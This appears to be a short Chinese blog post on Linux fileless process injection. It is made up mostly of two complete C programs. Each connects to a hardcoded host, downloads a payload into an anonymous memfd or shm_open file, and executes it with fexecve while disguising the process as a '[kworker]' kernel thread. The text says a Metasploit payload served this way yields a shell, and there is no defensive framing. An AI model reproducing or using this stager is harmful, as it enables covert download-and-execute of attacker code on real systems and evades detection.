linux无文件进程注入
- 获取链接
- X
- 电子邮件
- 其他应用
memfd_create需要 kernel 3.17以上,fexecve需要2.3.2以上
#include <stdio.h>#include <stdlib.h>#include <sys/syscall.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#define __NR_memfd_create 319#define MFD_CLOEXEC 1static inline int memfd_create(const char *name, unsigned int flags) { return syscall(__NR_memfd_create, name, flags);}extern char **environ;int main (int argc, char **argv) { int fd, s; unsigned long addr = 0x0100007f11110002; char *args[2]= {"[kworker/u!0]", NULL}; char buf[1024]; int num; // Connect if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1); if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1); if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (1); while (1) { if ((num = read (s, buf, 1024) ) <= 0) break; write (fd, buf, num); } close (s); if (fexecve (fd, args, environ) < 0) exit (1); return 0; } |
编译运行
evil: msf程序
拿到shell
低版本的情况下可用如下:
#include <stdio.h>#include <stdlib.h>#include <sys/syscall.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <arpa/inet.h>#include <fcntl.h>#include <sys/mman.h>intmy_fexecve (int fd, char **arg, char **env) { char fname[1024]; snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd); execve (fname, arg, env); return 0;}extern char **environ;int main (int argc, char **argv) { int fd, s; unsigned long addr = 0x0100007f11110002; char *args[2]= {"[kworker/u!0]", NULL}; char buf[1024]; int num; // Connect if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1); if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (1); if ((fd = shm_open("a", O_RDWR | O_CREAT, S_IRWXU)) < 0) exit (1); while (1) { if ((num = read (s, buf, 1024) ) <= 0) break; write (fd, buf, num); } close (s); close (fd); if ((fd = shm_open("a", O_RDONLY, 0)) < 0) exit (1); if (my_fexecve (fd, args, environ) < 0) exit (1); return 0; } |
编译命令: gcc -o program program.c -lrt
- 获取链接
- X
- 电子邮件
- 其他应用
评论
发表评论